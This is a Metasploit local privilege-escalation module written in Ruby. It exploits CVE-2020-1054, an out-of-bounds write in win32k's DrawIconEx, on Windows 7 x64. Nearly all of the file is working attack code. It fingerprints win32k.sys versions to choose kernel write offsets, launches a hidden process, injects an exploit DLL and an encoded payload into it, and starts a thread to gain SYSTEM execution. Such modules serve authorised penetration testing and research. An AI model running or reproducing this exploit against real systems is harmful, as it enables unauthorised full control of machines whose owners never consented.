##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/priv'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation',
'Description' => %q{
This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx
within win32k. The out of bounds write can be used to overwrite the pvbits of a
SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel
memory, an attacker can gain arbitrary code execution as the SYSTEM user.
This module has been tested against a fully updated Windows 7 x64 SP1. Offsets
within the exploit code may need to be adjusted to work with other versions of
Windows.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Netanel Ben-Simon',
'Yoav Alon',
'bee13oy',
'timwr', # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 30
},
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'References' =>
[
['CVE', '2020-1054'],
['URL', 'https://cpr-zero.checkpoint.com/vulns/cprid-2153/'],
['URL', 'https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html'],
['URL', 'https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp'],
['URL', 'https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp'],
['URL', 'https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp']
],
'DisclosureDate' => '2020-02-20'
)
)
register_options([
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])
])
end
def setup_process
process_name = datastore['PROCESS']
begin
print_status("Launching #{process_name} to host the exploit...")
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end
file_path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
build_num_gemversion = Gem::Version.new("#{major}.#{minor}.#{build}.#{revision}")
if (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24542')) #Windows 7 SP1
@xleft_offset = 0x900
@oob_offset = 0x238
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24553')) #Windows 7 SP1 with patches
@xleft_offset = 0x8c0
@oob_offset = 0x240
return CheckCode::Appears
else
return CheckCode::NotSupported
end
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] != ARCH_X64
fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
end
process = setup_process
library_data = exploit_data('CVE-2020-1054', 'exploit.dll')
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_data_into_process(process, library_data)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
encoded_payload = payload.encoded
payload_mem = inject_into_process(process, [@xleft_offset, @oob_offset, encoded_payload.length].pack('LLL') + encoded_payload)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
end
end